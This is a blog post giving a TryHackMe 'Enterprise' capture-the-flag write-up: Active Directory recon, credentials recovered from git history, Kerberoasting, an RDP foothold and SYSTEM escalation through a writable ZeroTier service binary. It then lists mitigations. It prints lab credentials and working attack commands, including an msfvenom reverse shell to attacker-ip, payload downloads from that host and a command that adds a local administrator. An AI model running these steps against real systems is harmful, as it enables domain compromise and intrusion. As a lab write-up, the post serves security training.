DEV Community

Cover image for TryHackMe : Enterprise Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Enterprise Writeup

Summary

Enterprise is an Active Directory box that starts as a classic external AD footprint (DNS, Kerberos, LDAP, SMB, RDP, WinRM) plus two extra web ports: an IIS site on 80 and a Bitbucket-branded login page on 7990 that turns out to actually be a copy of Atlassian's real hosted login page, complete with a company-specific banner announcing a move to GitHub. That banner is the real hint - Google dorking for the company name against site:github.com turns up a public GitHub org for the company, and digging through commit history in one of its repos (a PowerShell AD management script) surfaces a hardcoded, later-"removed" username and password that were never actually purged from git history.

Those first credentials (nik) don't get a shell directly, but they're enough to Kerberoast the domain and pull a service ticket for a bitbucket service account, whose password cracks easily with rockyou. bitbucket turns out to be a member of Remote Desktop Users, so RDP lands an interactive session and the user flag. From there, manual enumeration of Program Files (x86) (deliberately done by hand instead of an automated tool like WinPEAS, to actually understand what's being looked at) turns up a leftover ZeroTier install whose service folder is writable by BUILTIN\Users while the service itself runs as LocalSystem - a textbook writable-service-binary privilege escalation. Overwriting the service binary with a payload and restarting the service pops a SYSTEM shell and the root flag; the same weakness can also be abused "the PowerUp way" to just add a new local administrator instead.

IPs are referred to below as machine-ip (the TryHackMe target - it changed a couple of times across the session as the VPN reset) and attacker-ip (the Kali box).


Recon

Nmap - top ports

nmap -A -Pn machine-ip -o nmap
Enter fullscreen mode Exit fullscreen mode

Output

Nmap scan report for machine-ip
Host is up (0.047s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: "Site doesn't have a title (text/html)."
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
Enter fullscreen mode Exit fullscreen mode

Standard Windows Server / DC fingerprint: Kerberos, LDAP, SMB with signing required, RDP, WinRM. Domain is ENTERPRISE.THM, DC hostname LAB-DC.LAB.ENTERPRISE.THM.

Full port scan

The top-1000 scan is missing a lot on a box like this, so a full TCP sweep with rustscan/nmap was worth doing:

rustscan -a machine-ip
nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,7990,9389,47001,49664,... -sC -sV -oA enterprise_scan machine-ip
Enter fullscreen mode Exit fullscreen mode

Key findings from the full scan

53/tcp    open   domain
80/tcp    open   http          Microsoft IIS httpd 10.0
88/tcp    open   kerberos-sec
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
389/tcp   open   ldap
445/tcp   open   microsoft-ds
464/tcp   open   kpasswd5
593/tcp   open   ncacn_http
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          (Global Catalog)
3269/tcp  open   tcpwrapped    (Global Catalog SSL)
3389/tcp  open   ms-wbt-server
5985/tcp  open   http          (WinRM)
7990/tcp  open   http          Microsoft IIS httpd 10.0
|_http-title: "Log in to continue - Log in with Atlassian account"
9389/tcp  open   mc-nmf        .NET Message Framing (ADWS)
47001/tcp open   http
Enter fullscreen mode Exit fullscreen mode

Port 7990 was the interesting one the top-1000 scan had missed entirely - that's the default port for Bitbucket Server, and its title claims to be an Atlassian login page.

SMB null / guest session

nxc smb machine-ip -u '' -p ''
nxc smb machine-ip -u guest -p ''
nxc smb machine-ip -u guest -p '' --shares
Enter fullscreen mode Exit fullscreen mode

Output

SMB   machine-ip   445   LAB-DC   Windows 10 / Server 2019 Build 17763 x64 (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   machine-ip   445   LAB-DC   LAB.ENTERPRISE.THM\guest:

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                               Default share
Docs            READ
IPC$            READ            Remote IPC
NETLOGON                        Logon server share
SYSVOL                          Logon server share
Users           READ            Users Share. Do Not Touch!
Enter fullscreen mode Exit fullscreen mode

Null and guest auth both work, and there's a readable Docs share worth checking.

RID brute forcing users

nxc smb machine-ip -u guest -p '' --rid-brute
Enter fullscreen mode Exit fullscreen mode

Trimmed output - user accounts

500: LAB-ENTERPRISE\Administrator (SidTypeUser)
501: LAB-ENTERPRISE\Guest (SidTypeUser)
502: LAB-ENTERPRISE\krbtgt (SidTypeUser)
1000: LAB-ENTERPRISE\atlbitbucket (SidTypeUser)
1001: LAB-ENTERPRISE\LAB-DC$ (SidTypeUser)
1104: LAB-ENTERPRISE\ENTERPRISE$ (SidTypeUser)
1106: LAB-ENTERPRISE\bitbucket (SidTypeUser)
1107: LAB-ENTERPRISE\nik (SidTypeUser)
1108: LAB-ENTERPRISE\replication (SidTypeUser)
1109: LAB-ENTERPRISE\spooks (SidTypeUser)
1110: LAB-ENTERPRISE\korone (SidTypeUser)
1111: LAB-ENTERPRISE\banana (SidTypeUser)
1112: LAB-ENTERPRISE\Cake (SidTypeUser)
1116: LAB-ENTERPRISE\contractor-temp (SidTypeUser)
1117: LAB-ENTERPRISE\varg (SidTypeUser)
1119: LAB-ENTERPRISE\joiner (SidTypeUser)
Enter fullscreen mode Exit fullscreen mode

Extracted a clean users.txt from this list (Administrator, Guest, krbtgt, atlbitbucket, bitbucket, nik, replication, spooks, korone, banana, Cake, contractor-temp, varg, joiner) and confirmed them all as valid usernames against Kerberos with kerbrute:

kerbrute userenum -d LAB.ENTERPRISE.THM --dc machine-ip users.txt
Enter fullscreen mode Exit fullscreen mode

All 13 non-machine accounts came back as valid, confirming the account list is accurate.

The Docs share - a deliberate dead end

smbclient //enterprise.thm/Docs -N
mget *
Enter fullscreen mode Exit fullscreen mode

Pulled down RSA-Secured-Credentials.xlsx and RSA-Secured-Document-PII.docx, both password-protected Office files (file identified them as CDFV2 Encrypted). Extracted hashes with office2john and threw rockyou at them with john:

office2john RSA-Secured-Credentials.xlsx > hash.txt
office2john RSA-Secured-Document-PII.docx >> hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Enter fullscreen mode Exit fullscreen mode

This didn't crack in any reasonable time, which was the signal that this wasn't the intended path - real Office encryption is expensive to brute force, and an "easy" box wouldn't gate the real path behind that. Moved on and left these files uncracked.


Finding the GitHub org

The Bitbucket-styled login page

curl http://machine-ip:7990/
Enter fullscreen mode Exit fullscreen mode

The page rendered as a pixel-perfect copy of Atlassian's real id.atlassian.com login page, but with a custom banner injected above the login form:

Reminder to all Enterprise-THM Employees:
We are moving to Github!

Log in to your account

Wappalyzer confirmed the stack as IIS 10.0 plus Apple/Atlassian sign-in bits - basically a static clone of the real login page, not an actual live Bitbucket instance. The banner text is clearly the important part here: a nudge toward GitHub.

Google dorking for the GitHub org

"Enterprise-THM" site:github.com
Enter fullscreen mode Exit fullscreen mode

This turned up a real GitHub organization: github.com/Enterprise-THM, with one repo, About-Us.

git clone https://github.com/Enterprise-THM/About-Us
Enter fullscreen mode Exit fullscreen mode

README.md

### Welcome to Enterprise.THM

Enterprise.THM is the latest and greatest company on the NYSE. Later on, you'll be able to view all of our awesome free, open source trading algorithms.
Stay tuned for more details.

- Enterprise.THM Team
Enter fullscreen mode Exit fullscreen mode

Nothing sensitive in the current file, but always worth checking git log on a repo like this - a leading hint that there might be more:

git log --oneline
Enter fullscreen mode Exit fullscreen mode
41a9956 (HEAD -> main, origin/main, origin/HEAD) Update README.md
3bd74df Create README.md
Enter fullscreen mode Exit fullscreen mode

Both commits just tweak formatting on the README, no secrets here - but this confirmed the org is real and gave a real author identity to pivot on: Sq00ky. Checking the org's people page directly was more productive:

curl -s https://github.com/orgs/Enterprise-THM/people -o people.html
grep -oP 'href="/[^"]+"' people.html
Enter fullscreen mode Exit fullscreen mode

That turned up a second GitHub account: Nik-enterprise-dev - matching the nik username already seen in the AD user list. Their profile had one public repo: mgmtScript.ps1.

The leaked credentials

git clone https://github.com/Nik-enterprise-dev/mgmtScript.ps1
cat SystemInfo.ps1
Enter fullscreen mode Exit fullscreen mode

Current file contents

Import-Module ActiveDirectory
$userName = ''
$userPassword = ''
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) { Invoke-Command -ComputerName $index {systeminfo} }
Enter fullscreen mode Exit fullscreen mode

Empty username/password in the current version - but the commit history tells a different story:

git log
Enter fullscreen mode Exit fullscreen mode
commit c3c239df75fefbe7563d1d29c963ba1f01e4fe5a (HEAD -> main, origin/main, origin/HEAD)
Author: Nik-enterprise-dev
Date:   Sat Mar 13 20:09:16 2021 -0500

    Updated things

    I accidentally added something
Enter fullscreen mode Exit fullscreen mode

That commit message is basically a confession. Diffing it confirms it:

git show c3c239df75fefbe7563d1d29c963ba1f01e4fe5a
Enter fullscreen mode Exit fullscreen mode
 Import-Module ActiveDirectory
-$userName = 'nik'
-$userPassword = 'ToastyBoi!'
+$userName = ''
+$userPassword = ''
Enter fullscreen mode Exit fullscreen mode

Blanking out the values in a new commit doesn't remove them from git history - the old commit (and the credentials in it) are still sitting right there. That's nik:ToastyBoi!.


Validating and using nik's credentials

nxc smb machine-ip -u nik -p 'ToastyBoi!'
nxc ldap machine-ip -u nik -p 'ToastyBoi!'
nxc winrm machine-ip -u nik -p 'ToastyBoi!'
Enter fullscreen mode Exit fullscreen mode

Output

SMB    machine-ip   445    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
LDAP   machine-ip   389    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
WINRM  machine-ip   5985   LAB-DC   [-] LAB.ENTERPRISE.THM\nik:ToastyBoi!
Enter fullscreen mode Exit fullscreen mode

Valid on SMB and LDAP, but no WinRM - nik isn't in a group that grants remote PowerShell access. Used bloodyAD for LDAP enumeration from here on since BloodHound's own collector partially failed to ingest cleanly in this session:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get object nik
Enter fullscreen mode Exit fullscreen mode

Confirmed nik is a normal domain user (NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD) and a member of the Contractor and Password-Policy-Exemption groups. Checked what nik could actually write in the directory:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get writable
Enter fullscreen mode Exit fullscreen mode

Nothing exploitable there beyond nik's own object. The next natural step for any authenticated domain user is checking for Kerberoastable service accounts:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get search --filter '(&(objectClass=user)(servicePrincipalName=*))'
Enter fullscreen mode Exit fullscreen mode

That search returned the DC's own machine account (expected) and, more usefully, a bitbucket service account with an SPN of HTTP/LAB-DC - a genuine human-managed service account with a Kerberoastable SPN.


Kerberoasting the bitbucket account

impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'ToastyBoi!' -dc-ip machine-ip -request
Enter fullscreen mode Exit fullscreen mode

Output (ticket truncated)

ServicePrincipalName  Name       MemberOf                                                       PasswordLastSet             LastLogon                   Delegation
--------------------  ---------  -------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/LAB-DC           bitbucket  CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM     2021-03-11 20:20:01.333272  2021-04-26 11:16:41.570158

$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$LAB.ENTERPRISE.THM/bitbucket*$...[truncated]...
Enter fullscreen mode Exit fullscreen mode

Saved the ticket to bitbucket.hash and cracked it offline with rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt bitbucket.hash
Enter fullscreen mode Exit fullscreen mode
littleredbucket  (?)
1g 0:00:00:00 DONE
Enter fullscreen mode Exit fullscreen mode

Weak password, cracked almost instantly - bitbucket:littleredbucket.

Validating bitbucket

nxc smb machine-ip -u bitbucket -p littleredbucket
nxc ldap machine-ip -u bitbucket -p littleredbucket
nxc winrm machine-ip -u bitbucket -p littleredbucket
Enter fullscreen mode Exit fullscreen mode

Same pattern as nik - valid on SMB/LDAP, not on WinRM. Checked group membership:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get membership bitbucket
Enter fullscreen mode Exit fullscreen mode
Users
Remote Desktop Users
Domain Users
Password-Policy-Exemption
sensitive-account
Enter fullscreen mode Exit fullscreen mode

Remote Desktop Users is the important one here - bitbucket may not have WinRM, but it should be able to RDP straight in.

A side quest that didn't pay off: the Contractor group

While enumerating groups, the Contractor group's description field stood out:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get search --filter '(description=*)' --attr description
Enter fullscreen mode Exit fullscreen mode
distinguishedName: CN=Contractor,OU=Employees,OU=Staff,DC=LAB,DC=ENTERPRISE,DC=THM
description: Change password from Password123!
Enter fullscreen mode Exit fullscreen mode

That's the contractor-temp account's default password sitting in plaintext in an AD description field. Tried it:

nxc smb enterprise.thm -u contractor-temp -p 'Password123!'
nxc ldap enterprise.thm -u contractor-temp -p 'Password123!'
nxc winrm enterprise.thm -u contractor-temp -p 'Password123!'
Enter fullscreen mode Exit fullscreen mode

Valid on SMB and LDAP, but not on WinRM, and contractor-temp isn't in Remote Desktop Users either - so this credential doesn't actually grant an interactive foothold. Worth knowing about, but not the intended path forward; bitbucket's RDP access was.


Foothold via RDP as bitbucket

xfreerdp3 /v:LAB-DC.LAB.ENTERPRISE.THM /u:bitbucket /p:'littleredbucket' /d:LAB.ENTERPRISE.THM /w:1280 /h:800 /dynamic-resolution /cert:ignore
Enter fullscreen mode Exit fullscreen mode

That dropped straight into a full interactive desktop session on LAB-DC as bitbucket, with a text file named user sitting on the desktop:

type user
Enter fullscreen mode Exit fullscreen mode
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

Confirming the foothold from a shell

Opened a cmd.exe window inside the RDP session to poke around more comfortably:

whoami
whoami /all
net user
Enter fullscreen mode Exit fullscreen mode

Output (trimmed)

lab-enterprise\bitbucket

Group Name                                 Type             SID
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555
BUILTIN\Users                              Alias            S-1-5-32-545
LAB-ENTERPRISE\sensitive-account           Group            ...-1115
LAB-ENTERPRISE\Password-Policy-Exemption   Group            ...-1113

User accounts for \\LAB-DC
-------------------------------------------------------------------------------
Administrator  banana  bitbucket  Cake  joiner  korone  krbtgt  spooks
Enter fullscreen mode Exit fullscreen mode

Just a normal domain user, no special local privileges yet - the escalation path had to come from somewhere on the box itself.


Privilege escalation - a leftover ZeroTier install

Instead of running an automated privesc script blind, manually walked through Program Files and Program Files (x86) looking for anything that didn't belong on a stock DC image:

cd "Program Files (x86)"
dir
Enter fullscreen mode Exit fullscreen mode

Everything else was expected Windows/.NET/Google noise, except one directory that had no business being on a domain controller:

03/14/2021  05:36 PM    <DIR>          Zero Tier
Enter fullscreen mode Exit fullscreen mode
cd "Zero Tier\Zero Tier One"
dir
Enter fullscreen mode Exit fullscreen mode
03/14/2021  05:32 PM             1,465 regid.2010-01.com.zerotier_ZeroTierOne.swidtag
12/05/2014  11:52 AM         9,594,056 ZeroTier One.exe
Enter fullscreen mode Exit fullscreen mode

Checked the corresponding Windows service:

Get-Service -Name zerotieroneservice | Select-Object *
Enter fullscreen mode Exit fullscreen mode
Name          : zerotieroneservice
Status        : Stopped
StartType     : Automatic
Enter fullscreen mode Exit fullscreen mode

Automatic-start service, currently stopped, running as LocalSystem per its config. That combination (a service that runs as SYSTEM, tied to a binary sitting in a directory a low-privileged user might be able to write to) is a well-known Windows privilege escalation pattern.

Confirming the weak permissions

Get-Acl -Path "C:\Program Files (x86)\Zero Tier\Zero Tier One\" | Format-List
Enter fullscreen mode Exit fullscreen mode

Output (relevant lines)

Owner  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow  Write, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
Enter fullscreen mode Exit fullscreen mode

There it is: BUILTIN\Users - a group bitbucket is a member of - has Write access to the service's install directory, even though the service itself runs as NT AUTHORITY\SYSTEM. That means any authenticated user can drop a new file into that folder, including one that replaces the legitimate ZeroTier One.exe.

To confirm this programmatically instead of relying only on manual Get-Acl reading, pulled down PowerUp.ps1 from PowerSploit and loaded it (the first download attempt actually saved an HTML error page instead of the raw script, which is why the first Import-Module attempt failed with CSS/JS parse errors - re-downloading the raw file fixed it):

Invoke-WebRequest -Uri http://attacker-ip/PowerUp.ps1 -OutFile powerup.ps1
. .\powerup.ps1
Get-ModifiableServiceFile
Get-UnquotedService
Enter fullscreen mode Exit fullscreen mode

Relevant PowerUp output

ServiceName                     : zerotieroneservice
Path                             : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFile                  : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'zerotieroneservice'
CanRestart                      : True
Enter fullscreen mode Exit fullscreen mode

PowerUp independently confirms the exact same thing: BUILTIN\Users can modify the service's binary, the service runs as LocalSystem, and it can be restarted without needing a reboot.

Method A - manual reverse shell as SYSTEM

Generated a Windows reverse shell payload with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe -o rev.exe
Enter fullscreen mode Exit fullscreen mode

Pulled it onto the target and swapped it in for the legitimate service binary:

Invoke-WebRequest -Uri http://attacker-ip/rev.exe -OutFile rev.exe
Stop-Service zerotieroneservice -Force
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe.bak"
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\rev.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" -Force
Restart-Service zerotieroneservice
Enter fullscreen mode Exit fullscreen mode

With a nc listener running on the attacker box:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode
listening on [any] 4444 ...
connect to [attacker-ip] from (UNKNOWN) [machine-ip] 50818
Microsoft Windows [Version 10.0.17763.1817]

C:\Windows\system32>whoami
nt authority\system
Enter fullscreen mode Exit fullscreen mode

Service Control Manager started "ZeroTier One.exe" exactly as configured - except it's now the reverse shell payload, and because the service is configured to run as LocalSystem, the shell comes back as nt authority\system straight away.

cd C:\Users\Administrator\Desktop
type root.txt
Enter fullscreen mode Exit fullscreen mode
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

Method B - the PowerUp way (adds a local admin instead)

The same weak ACL can also be abused with PowerUp's own helper, which doesn't need a payload to be generated or uploaded at all - it patches the binary in place to run a net user /add + group-add command instead:

Install-ServiceBinary -Name zerotieroneservice
Enter fullscreen mode Exit fullscreen mode
ServiceName        Path                                                            Command
-----------         ----                                                            -------
zerotieroneservice  C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe  net user john Password123! /add & ...
Enter fullscreen mode Exit fullscreen mode
Restart-Service zerotieroneservice
Enter fullscreen mode Exit fullscreen mode

The restart itself reported a failure (Failed to start service) - but the embedded commands still executed once before the service process died, which was enough:

net localgroup Administrators
Enter fullscreen mode Exit fullscreen mode
Administrators
Administrator
Domain Admins
ENTERPRISE\Enterprise Admins
john
Enter fullscreen mode Exit fullscreen mode

john is now a local Administrator. Logging in as that new account over WinRM (which bitbucket never had access to) confirms full admin rights:

evil-winrm -i machine-ip -u john -p 'Password123!'
whoami /all
Enter fullscreen mode Exit fullscreen mode

Output (trimmed)

lab-enterprise\john
BUILTIN\Administrators   Alias   S-1-5-32-544   Mandatory group, Enabled by default, Enabled group, Group owner
Enter fullscreen mode Exit fullscreen mode
cd C:\Users\Administrator\Desktop
type root.txt
Enter fullscreen mode Exit fullscreen mode
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

Same flag as the SYSTEM-shell method, confirming both routes land on full compromise of the domain controller.


Key vulnerabilities

  1. Secrets in git history. A commit that "removed" hardcoded AD credentials from a script only blanked the values in a new commit - the credentials remained fully recoverable in the prior commit, which is still part of the repo's history and pushed to a public GitHub org.
  2. OSINT trail from a fake login page to a real GitHub org. A cloned Atlassian login page with a company-specific banner ("we're moving to GitHub") leaked the existence and rough naming convention of a real, public source-control org, which in turn led to a real employee's public repos.
  3. Weak service-account password. The bitbucket service account (Kerberoastable via its HTTP/LAB-DC SPN) had a short, guessable password that cracked against rockyou in under a second.
  4. Password reused in an AD description field. The Contractor group's description attribute contained a default password in plaintext, readable by any authenticated (or even null-session) user with LDAP read access.
  5. Writable service binary / install directory running as SYSTEM. The zerotieroneservice service ran as LocalSystem but its install directory granted BUILTIN\Users write access, letting any authenticated user - domain or local - replace the service binary and have it executed as SYSTEM on next start.

Attack chain

  1. Full port scan (missed by the default top-1000 scan) reveals a Bitbucket-styled login page on port 7990 that is actually a static clone of Atlassian's real login page with a custom "we're moving to GitHub" banner.
  2. Google dorking for the company name against site:github.com finds a real public GitHub org, whose About-Us repo and people listing lead to an employee account (Nik-enterprise-dev).
  3. That employee's mgmtScript.ps1 repo has a git history entry that "blanks out" hardcoded AD credentials in a new commit - the original commit with nik:ToastyBoi! in plaintext is still fully recoverable.
  4. nik's credentials authenticate over SMB/LDAP (no WinRM) and are used to enumerate the domain, including finding a Kerberoastable bitbucket service account via its SPN.
  5. Kerberoasting bitbucket and cracking the resulting TGS ticket with rockyou recovers bitbucket:littleredbucket.
  6. bitbucket is a member of Remote Desktop Users, granting an interactive RDP session and the user flag.
  7. Manual enumeration of Program Files (x86) on the DC finds a leftover ZeroTier install whose service (zerotieroneservice, running as LocalSystem) has an install directory writable by BUILTIN\Users.
  8. Replacing the service binary (either with a custom reverse-shell payload, or via PowerUp's Install-ServiceBinary helper that adds a local admin) and restarting the service executes attacker-controlled code as SYSTEM, yielding full compromise of the domain controller and the root flag.

Mitigations

  • Never commit credentials to source control, even temporarily. If they ever were, rotate them immediately and treat the repository's entire history as compromised - rewriting history or deleting the file in a later commit is not sufficient, since old commits (and any forks or clones already made) still contain the secret.
  • Avoid publishing internal tooling, scripts, or "reminder" banners that reveal internal migration plans, tooling names, or organizational structure to anyone who can reach an internet-facing login page.
  • Enforce strong, unique passwords for all service accounts, and treat Kerberoastable accounts (anything with an SPN) as especially high-value, since any authenticated domain user can request and offline-crack their tickets without touching the account directly. Consider gMSA accounts, which use long random passwords automatically rotated by AD.
  • Never store passwords or password hints in AD attributes such as description, info, or similar - these are readable by any user with basic LDAP read access, including unauthenticated/null sessions in many default configurations.
  • Audit local group memberships (especially Remote Desktop Users and Administrators) regularly, and apply least privilege - a service account like bitbucket likely doesn't need interactive desktop access at all.
  • Regularly audit file and folder ACLs on anything referenced by a service binPath, especially services that run as LocalSystem. BUILTIN\Users (or any low-privileged group) should never have write access to a SYSTEM-run service's binary or its containing directory. Remove unused/leftover third-party software (like this ZeroTier install) entirely rather than leaving it installed and forgotten.
  • Quote all service binary paths containing spaces, and validate service configurations after any software installation or removal.

Top comments (0)